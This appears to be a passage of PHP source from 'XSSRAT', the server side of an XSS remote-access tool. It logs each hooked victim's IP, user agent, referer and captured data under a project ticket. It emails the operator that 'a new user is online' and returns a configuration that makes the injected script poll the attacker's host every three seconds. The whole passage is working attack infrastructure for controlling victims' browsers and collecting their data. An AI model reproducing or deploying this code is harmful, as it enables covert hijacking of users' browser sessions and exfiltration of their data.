//新主机 $res = $project->getProjectByTicket($ticket); if ($res) { $pmd->ticket = $ticket; $pmd->p_id = $project->id; $pmd->clientIP = htmlspecialchars(quotes($ip)); $pmd->time = $curtime; $pmd->status = 1; $pmd->ec = $ec; $pmd->userAgent = htmlspecialchars(quotes($useragent)); $pmd->Referer = htmlspecialchars(quotes($referer)); $pmd->Data = utf8_decode(urldecode($data)); $pmd_id = $pmd->addPMD(); } } $email = $project->getMailByTiket($ticket); if ($email) { //sea maill $saemail = new SaeMail(); $message = "亲爱的用户,你有新用户上线了。\r\n\t\t\t\t\t\t\t\r\n\tIP:" . $pmd->clientIP . "\r\n\tReferer:" . $pmd->Referer . "\r\n\tuserAgent:" . $pmd->userAgent . "\r\n\t\r\n\t本邮件来自于: http://xssrat.sinaapp.com\r\n\tMak3 hack m0r3 c00l!"; $ret = $saemail->quickSend($email, 'XSSRAT - 新用户上线', $message, MAIL_ACCOUNT, MAIL_PASS); if ($ret === false) { $log->error($mail->errmsg()); } } } $db->closeDB(); } $net_config = "rat.net.config = { protocol:\"" . get_protocol() . "\"," . "port:" . get_port() . ",host:\"" . get_host() . "\",api_path:\"" . get_page_path() . "\"," . "interval:3000,ticket:\"" . htmlspecialchars($ticket) . "\",pmd_id:\"" . $pmd_id . "\",a_id:0};\n"; $log->info("Time:" . $curtime . " IP:" . $ip . " UA:" . $useragent . " RE:" . $referer . " DATA:" . $data); die($net_config);